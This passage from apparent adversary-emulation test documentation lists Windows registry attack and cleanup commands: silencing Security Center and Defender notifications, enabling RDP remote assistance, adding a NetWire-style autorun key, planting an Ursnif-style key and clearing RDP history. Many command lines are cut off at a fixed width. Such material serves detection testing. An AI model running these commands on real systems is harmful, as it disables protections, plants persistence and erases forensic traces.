reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotificati
```

Cleanup Commands:

```
reg delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifica
```

Atomic Test #36 - Disable Windows Security Center Notifications

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows security center notification. See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/

Supported Platforms: Windows

auto_generated_guid: 45914594-8df6-4ea9-b3cc-7eb9321a807e

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell /
```

Cleanup Commands:

```
reg delete HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShe
```

Atomic Test #37 - Suppress Win Defender Notifications

Modify the registry of the currently logged in user using reg.exe via cmd console to suppress the windows defender notification. See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/

Supported Platforms: Windows

auto_generated_guid: c30dada3-7777-4590-b970-dc890b8cf113

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration /v Noti
```

Cleanup Commands:

```
reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration /v N
```

Atomic Test #38 - Allow RDP Remote Assistance Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to allow rdp remote assistance feature. This feature allow specific user to rdp connect on the targeted machine. See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/

Supported Platforms: Windows

auto_generated_guid: 86677d0e-0b5e-4a2b-b302-454175f9aa9e

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKLM\System\CurrentControlSet\Control\Terminal Server /v fAllowToGetHelp /
```

Cleanup Commands:

```
reg delete HKLM\System\CurrentControlSet\Control\Terminal Server /v fAllowToGetHel
```

Atomic Test #39 - NetWire RAT Registry Key Creation

NetWire continues to create its home key (HKCU\SOFTWARE\NetWire) as well as adding it into the auto-run group in the victim's registry. See how NetWire malware - https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/

Supported Platforms: Windows

auto_generated_guid: 65704cd4-6e36-4b90-b6c1-dc29a82c8e56

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /t REG_SZ  /
reg add HKCU\SOFTWARE\NetWire /v HostId /t REG_SZ /d HostId-kai6Ci /f
reg add HKCU\SOFTWARE\NetWire /v "Install Date" /t REG_SZ /d "2021-08-30 07:17:27"
```

Cleanup Commands:

```
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /f >nul 2
reg delete HKCU\SOFTWARE\NetWire /va /f >nul 2>&1
reg delete HKCU\SOFTWARE\NetWire /f >nul 2>&1
```

Atomic Test #40 - Ursnif Malware Registry Key Creation

Ursnif downloads additional modules from the C&C server and saves these in the registry folder HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft
More information - https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/

Supported Platforms: Windows

auto_generated_guid: c375558d-7c25-45e9-bd64-7b23a97c1db0

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /v
```

Cleanup Commands:

```
reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /
reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /
```

Atomic Test #41 - Terminal Server Client Connection History Cleared

The built-in Windows Remote Desktop Connection (RDP) client (mstsc.exe) saves the remote computer name (or IP address) and the username that is used to login after each successful connection to the remote computer

Supported Platforms: Windows

auto_generated_guid: 3448824b-3c35-4a9e-a8f5-f887f68bea21

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /
```

Dependencies: Run with `powershell`!

Description: Must have the "MR9" Remote Desktop Connection history Key

Check Prereq Commands:

```
if ((Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\Defau
```

Get Prereq Commands:

```
New-Item -path "HKCU:\SOFTWARE\Microsoft\" -name "Terminal Server Client"  -ErrorA
New-Item -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\" -name "Default"
New-Itemproperty -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\Default" -
New-Item -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\" -name "Servers"
New-Item -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\Servers" -name "Re
```